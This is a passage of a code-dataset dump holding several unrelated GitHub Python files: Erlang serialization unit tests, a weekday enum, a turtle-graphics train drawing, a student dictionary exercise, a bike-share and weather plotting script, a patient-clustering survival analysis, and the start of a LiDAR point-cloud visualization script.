erlang.term_to_binary(b'\\xd1\\x82\\xd0\\xb5\\xd1\\x81\\xd1\\x82')\n )\n # becomes a list of small integers\n self.assertEqual(\n b'\\x83l\\x00\\x02\\x00\\x00' + (b'a\\xd0a\\x90' * 65536) + b'j',\n erlang.term_to_binary(b'\\xd0\\x90' * 65536)\n )\n def test_term_to_binary_atom(self):\n self.assertEqual(b'\\x83s\\0',\n erlang.term_to_binary(erlang.OtpErlangAtom(b'')))\n self.assertEqual(\n b'\\x83s\\4test',\n erlang.term_to_binary(erlang.OtpErlangAtom(b'test'))\n )\n def test_term_to_binary_string_basic(self):\n self.assertEqual(b'\\x83\\x6A', erlang.term_to_binary(''))\n self.assertEqual(b'\\x83\\x6B\\x00\\x04\\x74\\x65\\x73\\x74',\n erlang.term_to_binary('test'))\n self.assertEqual(\n b'\\x83\\x6B\\x00\\x09\\x74\\x77\\x6F\\x20\\x77\\x6F\\x72\\x64\\x73',\n erlang.term_to_binary('two words')\n )\n self.assertEqual(\n b'\\x83\\x6B\\x00\\x16\\x74\\x65\\x73\\x74\\x69\\x6E\\x67\\x20\\x6D\\x75\\x6C\\x74'\n b'\\x69\\x70\\x6C\\x65\\x20\\x77\\x6F\\x72\\x64\\x73',\n erlang.term_to_binary('testing multiple words')\n )\n self.assertEqual(b'\\x83\\x6B\\x00\\x01\\x20',\n erlang.term_to_binary(' '))\n self.assertEqual(b'\\x83\\x6B\\x00\\x02\\x20\\x20',\n erlang.term_to_binary(' '))\n self.assertEqual(b'\\x83\\x6B\\x00\\x01\\x31',\n erlang.term_to_binary('1'))\n self.assertEqual(b'\\x83\\x6B\\x00\\x02\\x33\\x37',\n erlang.term_to_binary('37'))\n self.assertEqual(b'\\x83\\x6B\\x00\\x07\\x6F\\x6E\\x65\\x20\\x3D\\x20\\x31',\n erlang.term_to_binary('one = 1'))\n self.assertEqual(\n b'\\x83\\x6B\\x00\\x20\\x21\\x40\\x23\\x24\\x25\\x5E\\x26\\x2A\\x28\\x29\\x5F\\x2B'\n b'\\x2D\\x3D\\x5B\\x5D\\x7B\\x7D\\x5C\\x7C\\x3B\\x27\\x3A\\x22\\x2C\\x2E\\x2F\\x3C'\n b'\\x3E\\x3F\\x7E\\x60',\n erlang.term_to_binary('!@#$%^&*()_+-=[]{}\\\\|;\\':\",./<>?~`')\n )\n self.assertEqual(\n b'\\x83\\x6B\\x00\\x09\\x22\\x08\\x0C\\x0A\\x0D\\x09\\x0B\\x53\\x12',\n erlang.term_to_binary('\\\"\\b\\f\\n\\r\\t\\v\\123\\x12')\n )\n def test_term_to_binary_string(self):\n self.assertEqual(b'\\x83j', erlang.term_to_binary(''))\n self.assertEqual(b'\\x83k\\0\\4test', erlang.term_to_binary('test'))\n def test_term_to_binary_predefined_atom(self):\n self.assertEqual(b'\\x83w\\4true', erlang.term_to_binary(True))\n self.assertEqual(b'\\x83w\\5false', erlang.term_to_binary(False))\n self.assertEqual(b'\\x83w\\11undefined', erlang.term_to_binary(None))\n def test_term_to_binary_short_integer(self):\n self.assertEqual(b'\\x83a\\0', erlang.term_to_binary(0))\n self.assertEqual(b'\\x83a\\xff', erlang.term_to_binary(255))\n def test_term_to_binary_integer(self):\n self.assertEqual(b'\\x83b\\xff\\xff\\xff\\xff', erlang.term_to_binary(-1))\n self.assertEqual(b'\\x83b\\x80\\0\\0\\0',\n erlang.term_to_binary(-2147483648))\n self.assertEqual(b'\\x83b\\0\\0\\1\\0', erlang.term_to_binary(256))\n self.assertEqual(b'\\x83b\\x7f\\xff\\xff\\xff',\n erlang.term_to_binary(2147483647))\n def test_term_to_binary_long_integer(self):\n self.assertEqual(b'\\x83n\\4\\0\\0\\0\\0\\x80',\n erlang.term_to_binary(2147483648))\n self.assertEqual(b'\\x83n\\4\\1\\1\\0\\0\\x80',\n erlang.term_to_binary(-2147483649))\n self.assertEqual(b'\\x83o\\0\\0\\1\\0\\0' + b'\\0' * 255 + b'\\1',\n erlang.term_to_binary(2 ** 2040))\n self.assertEqual(b'\\x83o\\0\\0\\1\\0\\1' + b'\\0' * 255 + b'\\1',\n erlang.term_to_binary(-2 ** 2040))\n def test_term_to_binary_float(self):\n self.assertEqual(b'\\x83F\\0\\0\\0\\0\\0\\0\\0\\0', erlang.term_to_binary(0.0))\n self.assertEqual(b'\\x83F?\\xe0\\0\\0\\0\\0\\0\\0', erlang.term_to_binary(0.5))\n self.assertEqual(b'\\x83F\\xbf\\xe0\\0\\0\\0\\0\\0\\0',\n erlang.term_to_binary(-0.5))\n self.assertEqual(b'\\x83F@\\t!\\xfbM\\x12\\xd8J',\n erlang.term_to_binary(3.1415926))\n self.assertEqual(b'\\x83F\\xc0\\t!\\xfbM\\x12\\xd8J',\n erlang.term_to_binary(-3.1415926))\n def test_term_to_binary_map(self):\n self.assertEqual(b'\\x83t\\x00\\x00\\x00\\x00', erlang.term_to_binary({}))\n map1 = {\n erlang.OtpErlangAtom(b'a'): 1,\n }\n map1_binary = b'\\x83t\\x00\\x00\\x00\\x01s\\x01aa\\x01'\n self.assertEqual(map1_binary, erlang.term_to_binary(map1))\n map2 = OrderedDict([\n (erlang.OtpErlangAtom(u'undefined'),\n erlang.OtpErlangBinary(b'nothing')),\n (erlang.OtpErlangBinary(b'\\xA8', 6),\n erlang.OtpErlangBinary(b'everything')),\n ])\n map2_binary = (\n b'\\x83\\x74\\x00\\x00\\x00\\x02\\x77\\x09\\x75\\x6E\\x64\\x65\\x66\\x69'\n b'\\x6E\\x65\\x64\\x6D\\x00\\x00\\x00\\x07\\x6E\\x6F\\x74\\x68\\x69\\x6E'\n b'\\x67\\x4D\\x00\\x00\\x00\\x01\\x06\\xA8\\x6D\\x00\\x00\\x00\\x0A\\x65'\n b'\\x76\\x65\\x72\\x79\\x74\\x68\\x69\\x6E\\x67'\n )\n self.assertEqual(map2_binary, erlang.term_to_binary(map2))\n def test_term_to_binary_compressed_term(self):\n self.assertEqual(b'\\x83P\\x00\\x00\\x00\\x15'\n b'x\\x9c\\xcba``\\xe0\\xcfB\\x03\\x00B@\\x07\\x1c',\n erlang.term_to_binary([[]] * 15, compressed=True))\n self.assertEqual(b'\\x83P\\x00\\x00\\x00\\x15'\n b'x\\x9c\\xcba``\\xe0\\xcfB\\x03\\x00B@\\x07\\x1c',\n erlang.term_to_binary([[]] * 15, compressed=6))\n self.assertEqual(b'\\x83P\\x00\\x00\\x00\\x15'\n b'x\\xda\\xcba``\\xe0\\xcfB\\x03\\x00B@\\x07\\x1c',\n erlang.term_to_binary([[]] * 15, compressed=9))\n self.assertEqual(b'\\x83P\\x00\\x00\\x00\\x15'\n b'x\\x01\\x01\\x15\\x00\\xea\\xffl\\x00\\x00\\x00'\n b'\\x0fjjjjjjjjjjjjjjjjB@\\x07\\x1c',\n erlang.term_to_binary([[]] * 15, compressed=0))\n self.assertEqual(b'\\x83P\\x00\\x00\\x00\\x15'\n b'x\\x01\\xcba``\\xe0\\xcfB\\x03\\x00B@\\x07\\x1c',\n erlang.term_to_binary([[]] * 15, 1))\n self.assertEqual(b'\\x83P\\0\\0\\0\\x17\\x78\\xda\\xcb\\x66'\n b'\\x10\\x49\\xc1\\2\\0\\x5d\\x60\\x08\\x50',\n erlang.term_to_binary('d' * 20, compressed=9))\n\ndef get_suite():\n load = unittest.TestLoader().loadTestsFromTestCase\n suite = unittest.TestSuite()\n suite.addTests(load(AtomTestCase))\n suite.addTests(load(ListTestCase))\n suite.addTests(load(ImproperListTestCase))\n suite.addTests(load(DecodeTestCase))\n suite.addTests(load(EncodeTestCase))\n return suite\n\ndef main():\n if coverage is None:\n unittest.main()\n else:\n cov = coverage.coverage()\n cov.start()\n unittest.main()\n cov.stop()\n cov.save()\n modules = [erlang.__file__, __file__]\n cov.report(morfs=modules, show_missing=False)\n cov.html_report(morfs=modules, directory='.cover')\n\nif __name__ == '__main__':\n main()\n","repo_name":"CloudI/CloudI","sub_path":"src/api/python/tests/erlang_tests.py","file_name":"erlang_tests.py","file_ext":"py","file_size_in_byte":32174,"program_lang":"python","lang":"en","doc_type":"code","stars":395,"dataset":"github-code","pt":"29"} +{"seq_id":"42210687008","text":"from enum import Enum\n\nclass Day(Enum):\n\n MON=0 \n TUE=1\n WED=2\n THU=3\n FRI=4\n SAT=5\n SUN=6\n\n def difference(self, day):\n roz = day.value - self.value\n if roz > 3:\n return roz - 7\n elif roz < -3:\n return roz + 7\n else:\n return roz\n\n\ndef nthDayFrom(n, day):\n return Day((day.value+n)%7)","repo_name":"misss13/Programowanie_Skryptowe","sub_path":"Laby3/day.py","file_name":"day.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"39757049405","text":"# File: Train.py\n\n# Description: Using turtle graphics to create a train \n\n# Student Name: Vaishnavi Kashyap\n\n# Student UT EID: vmk288\n\n# Course Name: CS 313E\n\n# Unique Number: 51340\n\n# Date Created: 2/10/18\n\n# Date Last Modified: 2/10/18\n\nimport turtle\nimport math\n\n# set screensize to 800 x 800 \nturtle.screensize(800,800)\n# create a turtle object\nttl = turtle.Turtle()\n# assign a color to the turtle object\nttl.color(\"black\")\n\n# taken from Mitra's shapes code\ndef drawLine (x1, y1, x2, y2):\n ttl.penup()\n ttl.goto (x1, y1)\n ttl.pendown()\n ttl.goto (x2, y2)\n ttl.penup()\n \ndef drawPolygon (x, y, num_side, radius):\n sideLen = 2 * radius * math.sin (math.pi / num_side)\n sideLen2 = sideLen / 3\n angle = 360 / num_side\n ttl.penup()\n ttl.goto (x, y)\n ttl.pendown()\n for i in range (num_side//2):\n ttl.forward (sideLen)\n ttl.left (angle)\n ttl.forward(sideLen2)\n ttl.left (angle)\n \ndef drawWindows (x, y, num_side, radius):\n ttl.begin_fill()\n ttl.color('gray')\n sideLen = 2 * radius * math.sin (math.pi / num_side)\n sideLen2 = sideLen / 1.2\n angle = 360 / num_side\n ttl.penup()\n ttl.goto (x, y)\n ttl.pendown()\n ttl.pencolor('blue')\n \n for i in range (num_side//2):\n ttl.forward (sideLen2)\n ttl.left (angle)\n ttl.forward(sideLen)\n ttl.left (angle)\n ttl.end_fill()\n ttl.penup\n \ndef roof(x, y, num_side, radius):\n ttl.pencolor('blue')\n sideLen = 2 * radius * math.sin (math.pi / num_side)\n sideLen2 = sideLen / 15\n angle = 360 / num_side\n ttl.penup()\n ttl.goto (x, y)\n ttl.pendown()\n for i in range (num_side//2):\n ttl.forward (sideLen)\n ttl.left (angle)\n ttl.forward(sideLen2)\n ttl.left (angle)\n \ndef top():\n ttl.pencolor('blue')\n ttl.penup()\n ttl.goto(-300,300)\n ttl.right(90)\n ttl.pendown()\n ttl.forward(240)\n ttl.left(90)\n ttl.forward(40)\n ttl.right(90)\n ttl.circle(60,-180)\n ttl.right(90)\n ttl.forward(40)\n ttl.left(90)\n ttl.forward(240)\n \ndef middle():\n ttl.pencolor('blue')\n ttl.penup()\n ttl.goto(-100,250)\n ttl.pendown()\n ttl.right(90)\n ttl.forward(350)\n ttl.right(90)\n ttl.forward(190)\n ttl.right(90)\n ttl.forward(40)\n ttl.right(90)\n ttl.circle(60,180)\n ttl.right(90)\n ttl.forward(30)\n ttl.right(90)\n ttl.circle(60,180)\n ttl.right(90)\n ttl.goto(-100, 60)\n \ndef drawRails():\n ttl.pencolor('black')\n drawLine(-300,10,350,10)\n drawLine(-300,0,350,0)\n for i in range (13):\n drawPolygon(-290 + (i * 50),-5,4,10)\n \ndef drawRectangle(x,y,len1,len2):\n ttl.pencolor('blue')\n ttl.penup()\n ttl.goto(x,y)\n ttl.pendown()\n ttl.goto(x + len1,y)\n ttl.goto(x + len1, y + len2)\n ttl.goto(x, y + len2)\n ttl.goto(x,y)\n ttl.penup()\n \ndef rect_top():\n ttl.pencolor('blue')\n #Draw top rectangles\n drawRectangle(10,250,45,20)\n drawRectangle(17.5,270,30,10)\n #Draw trapezoids\n ttl.penup()\n ttl.goto(125,250)\n ttl.pendown()\n ttl.goto(110,290)\n ttl.right(180)\n ttl.forward(60)\n ttl.goto(155,250)\n ttl.penup()\n ttl.goto(110,290)\n ttl.pendown()\n ttl.goto(115,300)\n ttl.forward(50)\n ttl.goto(170,290)\n\ndef notches():\n ttl.penup()\n ttl.goto(10,250)\n ttl.pendown()\n ttl.right(90)\n ttl.forward(95)\n ttl.goto(-100,155)\n ttl.goto(-100,145)\n ttl.goto(250,145)\n ttl.goto(250,155)\n ttl.goto(140,155)\n ttl.goto(140,250)\n ttl.goto(134,250)\n ttl.goto(134,155)\n ttl.goto(16,155)\n ttl.goto(16,250)\n\ndef nails():\n for i in range(1,10):\n ttl.penup()\n ttl.goto(13,250 - (9.5 * i))\n ttl.dot(3,'black')\n for i in range(1,35):\n ttl.penup()\n ttl.goto(-100 + (10 * i),150)\n ttl.dot(3,'black')\n for i in range(1,10):\n ttl.penup()\n ttl.goto(137,250 - (9.5 * i))\n ttl.dot(3,'black')\n \ndef face():\n ttl.pencolor('blue')\n drawRectangle(250,240,15,-150)\n drawRectangle(265,(240 - (75/2)),5,-75)\n ttl.penup()\n ttl.goto(250,80)\n ttl.pendown()\n ttl.goto(280,80)\n ttl.goto(300,40)\n ttl.goto(250,40)\n ttl.goto(250,80)\n\ndef drawCircle(center_x,center_y,circ,color):\n ttl.penup()\n ttl.goto (center_x, center_y)\n ttl.pendown()\n ttl.color (color)\n ttl.circle (circ)\n\ndef drawWheels(x,y,xd,yd,r1,r2):\n drawLine(x,y,xd-3,yd+1)\n drawLine(x,y,xd+3,yd+1)\n drawLine(x+r1,y+r1,xd+r2,y+r1+3)\n drawLine(x+r1,y+r1,xd+r2,y+r1-3)\n drawLine(x,y+(2*r1),xd+3,yd+(2*r2))\n drawLine(x,y+(2*r1),xd-3,yd+(2*r2))\n drawLine(x-r1,y+r1,xd-r2,y+r1+3)\n drawLine(x-r1,y+r1,xd-r2,y+r1-3)\n\ndef main():\n \n # big wheel\n drawCircle(-200,10,50,'red')\n drawCircle(-200,20,39,'red')\n drawCircle(-200,45,12.4,'red')\n drawWheels(-200,45,-200,20,12.4,39)\n \n # 2 smaller wheels\n drawCircle(0,10,40,'red')\n drawCircle(0,19,31.5,'red')\n drawCircle(0,39,10,'red')\n\n drawWheels(0,39,0,19,10,31.5)\n \n drawCircle(150,10,40,'red')\n drawCircle(150,19,31.5,'red')\n drawCircle(150,39,10,'red')\n drawWheels(150,39,150,19,10,31.5)\n\n # rails\n drawRails()\n\n # windows\n for i in range (2):\n drawWindows(-280 + (i * 95),200,4,55)\n\n # roof\n roof(-320, 300,4,180)\n\n # rest of train \n top()\n middle()\n rect_top()\n notches()\n nails()\n face()\n \nmain()\n","repo_name":"vmk288/CS313E","sub_path":"Train.py","file_name":"Train.py","file_ext":"py","file_size_in_byte":4989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"40280943047","text":"#!/usr/bin/python3\n\n\ndef best_score(a_dictionary):\n \"\"\"Get Best Score\n\n Arg:\n dict\n\n Return:\n int- Best score\"\"\"\n c = 0\n myD = a_dictionary\n if myD is None:\n return (None)\n for i in myD:\n for a in myD:\n if myD.get(a) > myD.get(i):\n if myD.get(a) > c:\n c = myD.get(a)\n for i in myD:\n if myD.get(i) == c:\n return (i, c, max(myD))\n","repo_name":"9jazeez/alx-higher_level_programming","sub_path":"0x04-python-more_data_structures/10-best_score.py","file_name":"10-best_score.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"21648918812","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Jul 15 23:06:03 2018\r\n\r\n@author: li\r\n\"\"\"\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\npd.set_option('display.max_columns', None) \r\n\r\nweather = pd.read_csv('../input/weather/weather_local_3_tuple.csv')\r\nweather = pd.DataFrame(data=weather, columns=['dt_iso','weather_main'])\r\nweather['dt_iso'] = pd.to_datetime(weather['dt_iso'])\r\n\r\nweather['Hour'] = weather['dt_iso'].dt.hour\r\nweather['Date'] = weather['dt_iso'].dt.date\r\nweather['day_of_week']=weather['dt_iso'].dt.dayofweek\r\ndel weather['dt_iso']\r\nweather.Date = weather.Date.astype(str)\r\nweather.Hour = weather.Hour.astype(str)\r\n\r\ndef write2file(infile):\r\n # df = pd.read_csv(\"../input/bike_2_years/07JourneyDataExtract25May2016-31May2016.csv\")\r\n df = pd.read_csv(infile)\r\n df['Start Date'] = pd.to_datetime(df['Start Date'],format='%d/%m/%Y %H:%M') \r\n \r\n Number = pd.DataFrame(data=df.groupby([df['Start Date'].dt.date,df['Start Date'].dt.hour]).size(),columns=['size'])\r\n Number.index.names = ['Date','Hour']\r\n Number.reset_index(inplace=True)\r\n with open('../output/size_perHour.csv', 'a') as f:\r\n Number.to_csv(f, header=False,index=False)\r\n\r\nimport glob\r\nfilenames = glob.glob(\"../input/bike_2_years/*.csv\")\r\nfor name in filenames:\r\n write2file(name)\r\n \r\nNumber = pd.read_csv('../output/size_perHour.csv',names = ['Date','Hour', 'size']) \r\n\r\nNumber.Date = Number.Date.astype(str)\r\nNumber.Hour = Number.Hour.astype(str)\r\n \r\nwea_num = pd.merge(Number,weather,on=['Date','Hour'])\r\n\r\nbank_holiday=['2016-05-30','2016-08-29','2016-12-21','2016-12-22','2016-12-23',\r\n '2016-12-26','2016-12-27','2016-12-28','2016-12-29',\r\n '2016-12-30','2017-01-02','2017-04-14',\r\n '2017-04-14','2017-04-17','2017-05-01','2017-05-29',\r\n '2017-08-28','2017-12-21','2017-12-22',\r\n '2017-12-25','2017-12-26','2017-12-27','2017-12-28','2017-12-29','2018-01-01','2018-01-02',\r\n '2018-03-30','2018-04-02','2018-05-07','2018-05-28']\r\n\r\nwea_num_weekday = wea_num[wea_num['day_of_week']<=4]\r\nworkday = wea_num_weekday[~np.isin(wea_num_weekday['Date'], bank_holiday)]\r\n\r\nholiday = wea_num[(wea_num['day_of_week']>4)]\r\n\r\n\r\n# =============================================================================\r\n# \r\n# =============================================================================\r\nwea_num_weekday = wea_num[wea_num['day_of_week']<=4]\r\nworkday = wea_num_weekday[~np.isin(wea_num_weekday['Date'], bank_holiday)]\r\n\r\nworkday = workday[np.isin(workday[\"weather_main\"],[\"('Rain',)\",\"('Clear',)\",\"('Snow',)\"])]\r\ndays = {\"('Rain',)\":\"Rain\",\"('Clear',)\":\"Clear\",\"('Snow',)\":\"Snow\"}\r\n\r\nworkday[\"weather_main\"] = workday[\"weather_main\"].apply(lambda x: days[x])\r\nworkday.rename(columns={\"weather_main\": \"Weather Type\"},inplace=True)\r\n\r\nsns.set(font_scale=2) # crazy big\r\nfig, ax = plt.subplots()\r\nax = sns.lmplot(x=\"Hour\", y=\"size\",hue=\"Weather Type\",fit_reg=False,\r\n data=workday,scatter_kws={\"s\": 33},markers=[\"o\", \"x\", \"1\"],\r\n size=6, aspect=1.4)\r\nax.set(title='Weekdays', xlabel='Time of day', ylabel='Number of Trips',xticks=[0,4,8,12,16,20,23], ylim=(-200,5600))\r\nplt.show()\r\n# =============================================================================\r\n# \r\n# =============================================================================\r\nwea_num_weekday = wea_num[wea_num['day_of_week']<=4]\r\nworkday = wea_num_weekday[~np.isin(wea_num_weekday['Date'], bank_holiday)]\r\n\r\nworkday = workday[np.isin(workday[\"weather_main\"],[\"('Drizzle', 'Rain')\",\"('Mist',)\",\"('Haze',)\"])]\r\ndays = {\"('Drizzle', 'Rain')\":\"Drizzle,Rain\",\"('Mist',)\":\"Mist\",\"('Haze',)\":\"Haze\"}\r\n\r\nworkday[\"weather_main\"] = workday[\"weather_main\"].apply(lambda x: days[x])\r\nworkday.rename(columns={\"weather_main\": \"Weather Type\"},inplace=True)\r\n\r\nsns.set(font_scale=2) # crazy big\r\nfig, ax = plt.subplots()\r\nax = sns.lmplot(x=\"Hour\", y=\"size\",hue=\"Weather Type\",fit_reg=False,\r\n data=workday,scatter_kws={\"s\": 33},markers=[\"o\", \"x\", \"1\"],\r\n size=6, aspect=1.4)\r\nax.set(title='Weekdays', xlabel='Time of day', ylabel='Number of Trips',xticks=[0,4,8,12,16,20,23], ylim=(-200,5600))\r\nplt.show()\r\n\r\n# =============================================================================\r\n# \r\n# =============================================================================\r\nholiday = wea_num[(wea_num['day_of_week']>4)]\r\nholiday = holiday[np.isin(holiday[\"weather_main\"],[\"('Rain',)\",\"('Clear',)\",\"('Snow',)\"])]\r\ndays = {\"('Rain',)\":\"Rain\",\"('Clear',)\":\"Clear\",\"('Snow',)\":\"Snow\"}\r\n\r\nholiday[\"weather_main\"] = holiday[\"weather_main\"].apply(lambda x: days[x])\r\nholiday.rename(columns={\"weather_main\": \"Weather Type\"},inplace=True)\r\n\r\nsns.set(font_scale=2) # crazy big\r\nfig, ax = plt.subplots()\r\nax = sns.lmplot(x=\"Hour\", y=\"size\",hue=\"Weather Type\",fit_reg=False,\r\n data=holiday,scatter_kws={\"s\": 33},markers=[\"o\", \"x\", \"1\"],\r\n size=6, aspect=1.4)\r\nax.set(title='Weekends', xlabel='Time of day', ylabel='Number of Trips',xticks=[0,4,8,12,16,20,23], ylim=(-200,4600))\r\nplt.show()\r\n# =============================================================================\r\n# \r\n# =============================================================================\r\nholiday = wea_num[(wea_num['day_of_week']>4)]\r\nholiday = holiday[np.isin(holiday[\"weather_main\"],[\"('Drizzle', 'Rain')\",\"('Mist',)\",\"('Haze',)\"])]\r\ndays = {\"('Drizzle', 'Rain')\":\"Drizzle,Rain\",\"('Mist',)\":\"Mist\",\"('Haze',)\":\"Haze\"}\r\n\r\nholiday[\"weather_main\"] = holiday[\"weather_main\"].apply(lambda x: days[x])\r\nholiday.rename(columns={\"weather_main\": \"Weather Type\"},inplace=True)\r\n\r\nsns.set(font_scale=2) # crazy big\r\nfig, ax = plt.subplots()\r\nax = sns.lmplot(x=\"Hour\", y=\"size\",hue=\"Weather Type\",fit_reg=False,\r\n data=holiday,scatter_kws={\"s\": 33},markers=[\"o\", \"x\", \"1\"],\r\n size=6, aspect=1.4)\r\nax.set(title='Weekends', xlabel='Time of day', ylabel='Number of Trips',xticks=[0,4,8,12,16,20,23], ylim=(-200,4600))\r\nplt.show()\r\n# =============================================================================\r\n# \r\n# =============================================================================\r\n\r\n\r\n\r\n\r\n\r\n\r\nY= workday['size'].groupby([ workday['weather_main'], workday['Hour']]).median()\r\nY = Y.unstack(1)\r\nY.columns=[u'0', u'1', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'2', u'20', u'21', u'22', u'23', u'3', u'4', u'5', u'6', u'7', u'8', u'9']\r\nY=Y[[str(i) for i in range(24)]]\r\n\r\nZ= holiday['size'].groupby([ holiday['weather_main'], holiday['Hour']]).median()\r\nZ = Z.unstack(1)\r\nZ.columns=[u'0', u'1', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'2', u'20', u'21', u'22', u'23', u'3', u'4', u'5', u'6', u'7', u'8', u'9']\r\nZ=Z[[str(i) for i in range(24)]]\r\n\r\n\r\ntem=Y.dropna(axis=0,how='any')\r\ntem['sum'] = tem.apply(sum,axis=1)\r\ntem.sort_values(by='sum',inplace=True)\r\ntem = tem.drop('sum', 1)\r\ntem.iloc[[10,2,9,6],:].T.plot(figsize=(10,9),grid=True,xticks=[0,4,8,12,16,20,23],fontsize=20)\r\n#tem.T.plot(figsize=(12,26))\r\n\r\n\r\nclassify_x1 = Y[['6','7','8','9','10','11']]\r\nY.iloc[[0,1,71,72],:].T.plot(figsize=(10,9),grid=True,xticks=[0,4,8,12,16,20,23],fontsize=20)\r\n\r\ntem.iloc[[1,2,3,4,5,6,7,8],:].T.plot(figsize=(12,26),grid=True)\r\ntem.T.plot(figsize=(12,26))\r\n\r\n\r\n\r\ntem2=Z.dropna(axis=0,how='any')\r\ntem2['sum'] = tem2.apply(sum,axis=1)\r\ntem2.sort_values(by='sum',inplace=True)\r\ntem2 = tem2.drop('sum', 1)\r\ntem2.iloc[[1,2,3,4,5,6,7,8],:].T.plot(figsize=(12,26),grid=True)\r\ntem2.T.plot(figsize=(12,26),grid=True)\r\n\r\n\r\nY.iloc[:,:5].plot()\r\n\r\nY.iloc[:,:5].plot()\r\nY.iloc[:,[1,5,6,7,8]].plot()\r\nY.iloc[:,:5].plot()\r\nY.iloc[:,:5].plot()\r\nY.iloc[:,:5].plot()\r\n\r\n\r\n\r\n","repo_name":"Jingyu2017/Deman-Prediction-In-Bike-Sharing-System","sub_path":"script/Weather_CheckOutNumber.py","file_name":"Weather_CheckOutNumber.py","file_ext":"py","file_size_in_byte":7751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"16679972499","text":"\nimport matplotlib.pyplot as plt\nimport textwrap as tw\nimport numpy as np\nfrom time import ctime\n\nfrom readData import load_data\nfrom saveResults import save_fig\nfrom dim_reduction import reduce_dim\nimport kMeans, fuzzyCMeans, affinityPropagation, hirarAgglomerative, miniBatchkMeans\nfrom survival_plot import survival_func\nfrom findGroups import get_grps\n\n\n# Get only the numeric columns from games.\nX, days_to_death, death_observed = load_data()\nchoice = int(input('Want to reduce dimension(0/1):'))\nif choice == 1:\n X = reduce_dim(X)\n\nclustering_algo = {\n 1 : kMeans,\n 2 : fuzzyCMeans,\n 3 : affinityPropagation,\n 4 : hirarAgglomerative,\n 5 : miniBatchkMeans\n}\n\nchoice = input(\"Choose the clustering algo:\")\nalgo = clustering_algo[int(choice)]\nfig,ax = plt.subplots()\n\n# Clustering patients\nlabels, num_clusters = algo.cluster(X,fig,ax)\n\nif num_clusters > 40:\n print(\"Number of clusters are very high.\")\n exit()\n\n# Separating indices of patients based on their cluster index\nclusters = {}\nfor i in range(num_clusters):\n clusters[i] = []\nfor i in range(len(labels)):\n clusters[labels[i]].append(i)\n\nfig2, ax2 = plt.subplots()\n\n# Find possible survival groups (all clusters are different survival group)\npossible_grps = survival_func(clusters,days_to_death,death_observed,ax2)\n\n# Refine possible survival groups by combining clusters with similar\n# days to survive with 0.5 probability\nsurvival_grp = get_grps(possible_grps)\n\nactual_grp = len(survival_grp)\nuseful = ''\nif actual_grp > 2:\n useful = 'Good/'\n\n# Information about current experiment\nmsg = 'Clustering Algo: ' + algo.__name__ + ', \\n'\nmsg += 'Number of Clusters: ' + str(num_clusters) + ', \\n'\nmsg += 'Number of Features: ' + str(X.shape[1]) + ' \\n'\nmsg += 'Number of Groups: ' + str(survival_grp)\n\nbbox_props = dict(boxstyle=\"round\", fc=\"w\", ec=\"0.5\", alpha=0.9)\nfig_txt = tw.fill(tw.dedent(msg.rstrip() ), width=80)\n\nplt.figtext(0.5, -0.07, fig_txt, horizontalalignment='center',\n multialignment='left',\n bbox=dict(boxstyle=\"round\", facecolor='#D8D8D8',\n ec=\"0.5\", pad=0.5, alpha=1), fontweight='bold')\n\nt = ctime()\nsave_fig(algo.__name__ + 'clusters.py',fig,t)\nsave_fig(algo.__name__ + '_survival_func.py',fig2,t)\n\nif actual_grp > 2:\n save_fig(useful + algo.__name__ + '.py',fig2,t)\n","repo_name":"manishkumarregar/AML_life_expectancy","sub_path":"cluster_patient.py","file_name":"cluster_patient.py","file_ext":"py","file_size_in_byte":2317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"9304299158","text":"''' Visualization code for point clouds and 3D bounding boxes with mayavi.\n\nModified by Charles R. Qi\nDate: September 2017\n\nRef: https://github.com/hengck23/didi-udacity-2017/blob/master/baseline-04/kitti_data/draw.py\n\nModified by Haotian Tang\nDate: August 2020\n'''\n\nimport argparse\nimport numpy as np\nimport mayavi.mlab as mlab\nimport os\nfrom open3d import *\nimport torch\nfrom torchsparse.utils import sparse_quantize, sparse_collate\nfrom torchsparse import SparseTensor\nfrom model_zoo import minkunet, spvcnn, spvnas_specialized\n\n\ndef process_point_cloud(input_point_cloud, input_labels=None, voxel_size=0.05):\n input_point_cloud[:, 3] = input_point_cloud[:, 3]\n pc_ = np.round(input_point_cloud[:, :3] / voxel_size)\n pc_ -= pc_.min(0, keepdims=1)\n \n label_map = create_label_map()\n if input_labels is not None:\n labels_ = label_map[input_labels & 0xFFFF].astype(\n np.int64) # semantic labels\n else:\n labels_ = np.zeros(pc_.shape[0], dtype=np.int64)\n \n feat_ = input_point_cloud\n \n if input_labels is not None:\n out_pc = input_point_cloud[labels_ != labels_.max(), :3]\n pc_ = pc_[labels_ != labels_.max()]\n feat_ = feat_[labels_ != labels_.max()]\n labels_ = labels_[labels_ != labels_.max()]\n else:\n out_pc = input_point_cloud\n pc_ = pc_\n \n inds, labels, inverse_map = sparse_quantize(pc_,\n feat_,\n labels_,\n return_index=True,\n return_invs=True)\n pc = np.zeros((inds.shape[0], 4))\n pc[:, :3] = pc_[inds]\n \n feat = feat_[inds]\n labels = labels_[inds]\n lidar = SparseTensor(\n torch.from_numpy(feat).float(), \n torch.from_numpy(pc).int()\n )\n return {\n 'pc': out_pc,\n 'lidar': lidar,\n 'targets': labels,\n 'targets_mapped': labels_,\n 'inverse_map': inverse_map\n }\n\n\nmlab.options.offscreen = True\n\ndef create_label_map(num_classes=19):\n name_label_mapping = {\n 'unlabeled': 0, 'outlier': 1, 'car': 10, 'bicycle': 11,\n 'bus': 13, 'motorcycle': 15, 'on-rails': 16, 'truck': 18,\n 'other-vehicle': 20, 'person': 30, 'bicyclist': 31,\n 'motorcyclist': 32, 'road': 40, 'parking': 44,\n 'sidewalk': 48, 'other-ground': 49, 'building': 50,\n 'fence': 51, 'other-structure': 52, 'lane-marking': 60,\n 'vegetation': 70, 